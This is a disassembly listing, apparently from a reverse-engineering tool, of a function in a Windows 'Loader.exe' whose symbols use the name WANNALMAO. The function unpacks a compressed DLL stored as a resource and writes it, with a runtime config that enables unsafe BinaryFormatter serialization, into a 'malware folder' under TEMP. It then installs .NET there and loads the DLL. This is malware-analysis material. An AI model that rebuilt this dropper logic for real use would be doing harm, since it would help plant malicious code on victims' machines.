Function at 0x14002c8b1
Capabilities:
Print debug messages
Query environment variable

Disassembly:
jmp 0x14002eaa0
push rbp
push rdi
sub rsp, 0x698
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14009b300]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, str.This_is_hidden_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.load_dll_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rdx, [rbp + 8]
mov ecx, 0x65
call sym.Loader.exe_unsigned_char____ptr64___cdecl_WANNALMAO_LoadDllFromResources_unsigned_int__unsigned_long_long_unsigned___int64_____ptr64_
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14002eb10
lea rcx, str.error_loading_DLL_from_resource
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea rcx, str.decompress_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea r8, [rbp + 0x48]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x28]
call sym.Loader.exe_unsigned_char____ptr64___cdecl_WANNALMAO_DecompressZstd_unsigned_char_const____ptr64__unsigned_long_long_unsigned___int64___unsigned_long_long_unsigned___int64_____ptr64_
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x48], 0
je 0x14002eb40
cmp qword [rbp + 0x68], 0
jne 0x14002eb4c
lea rcx, str.error_decompressing_dll
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
call sym.Loader.exe_bool___cdecl_WANNALMAO_CreateMalwareFolder_void_
movzx eax, al
test eax, eax
jne 0x14002eb64
lea rcx, str.error_creating_malware_folder_in_temp_dir
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov r8d, 0x104
lea rdx, [rbp + 0x90]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, str.WANNALMAO
lea rcx, [rbp + 0x90]
call fcn.14002c8ca
lea rcx, str.write_to_file_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov r8d, 0x104
lea rdx, [rbp + 0x1c0]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, str.WANNALMAO_verysus.dll
lea rcx, [rbp + 0x1c0]
call fcn.14002c8ca
mov r8, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x1c0]
call sym.Loader.exe_bool___cdecl_WANNALMAO_WriteToFile_char_const____ptr64__unsigned_char_const____ptr64__unsigned_long_long_unsigned___int64__
movzx eax, al
test eax, eax
jne 0x14002ebf2
lea rcx, str.error_writing_verysus.dll_to_malware_folder
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov r8d, 0x104
lea rdx, [rbp + 0x2f0]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, str.WANNALMAOWANNALMAO.runtimeconfig.json
lea rcx, [rbp + 0x2f0]
call fcn.14002c8ca
lea rax, str._runtimeOptions_:_tfm_:_net8.0___frameworks_:__name_:_Microsoft.NETCore.App___version_:_8.0.0___name_:_Microsoft.WindowsDesktop.App___version_:_8.0.0____configProperties_:_System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization_:true
mov qword [rbp + 0x418], rax
mov rcx, qword [rbp + 0x418]
call fcn.14002c424
mov r8, rax
mov rdx, qword [rbp + 0x418]
lea rcx, [rbp + 0x2f0]
call sym.Loader.exe_bool___cdecl_WANNALMAO_WriteToFile_char_const____ptr64__unsigned_char_const____ptr64__unsigned_long_long_unsigned___int64__
movzx eax, al
test eax, eax
jne 0x14002ec62
lea rcx, str.error_writing_runtime_config_to_malware_folder
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
call sym.Loader.exe_bool___cdecl_WANNALMAO_InstallDotnetTemp_void_
movzx eax, al
test eax, eax
jne 0x14002ec7a
lea rcx, str.error_installing_dotnet_to_malware_folder
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea r8, [rbp + 0x1c0]
mov edx, 0x104
lea rcx, [0x14009b4d0]
call qword [sym.imp.ucrtbased.dll_strcpy_s]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x14009b4c0], rax
cmp qword [0x14009b4c0], 0
jne 0x14002ecbd
lea rcx, str.error_loading_dll_locally
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, [rbp - 0x20]
lea rdx, [0x140086fa0]
call fcn.14002c848
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.14002c49c
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret